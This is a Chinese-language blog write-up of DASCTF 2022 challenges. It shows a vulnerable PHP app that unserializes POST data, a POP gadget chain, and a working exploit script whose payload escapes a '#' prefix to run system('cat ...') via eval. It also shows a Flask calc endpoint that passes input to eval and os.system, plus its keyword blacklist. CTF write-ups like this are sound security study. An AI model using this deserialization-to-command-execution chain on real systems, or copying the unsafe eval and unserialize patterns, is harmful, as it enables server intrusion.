DASCTF 2022
ezpop
题目源码为
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
因此构造反序列化
fin->(调用destruct)->what->(调用tostring)->fin->(调用run)->crow->(调用invoke)->fin->(调用call)->mix->(getflag)
绕过井号:利用?><?php标签绕过
<?php
class what
{
public $a;
public function __construct(){
$this->a = new fin();
}
}
class mix{
public $m1;
public function __construct(){
$this->m1 = "?><?=system('cat H0mvz850F.php');";
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
class fin{
public $f1;
public function __construct(){
$this->f1 = array(new mix(), 'get_flag');
}
}
$a = new fin();
$a->f1 = new what();
echo urlencode(serialize($a));
之前需要ls查看所有文件,然后一个一个尝试拿到flag最终flag在H0mvz850F.php上
calc
这道题本来以为做过就应该能拿下,但是后面发现ban的东西挺多的,一直都做不出来。现在来重新复盘
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
waf(num)的黑名单是
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 吴豪滨的地宫!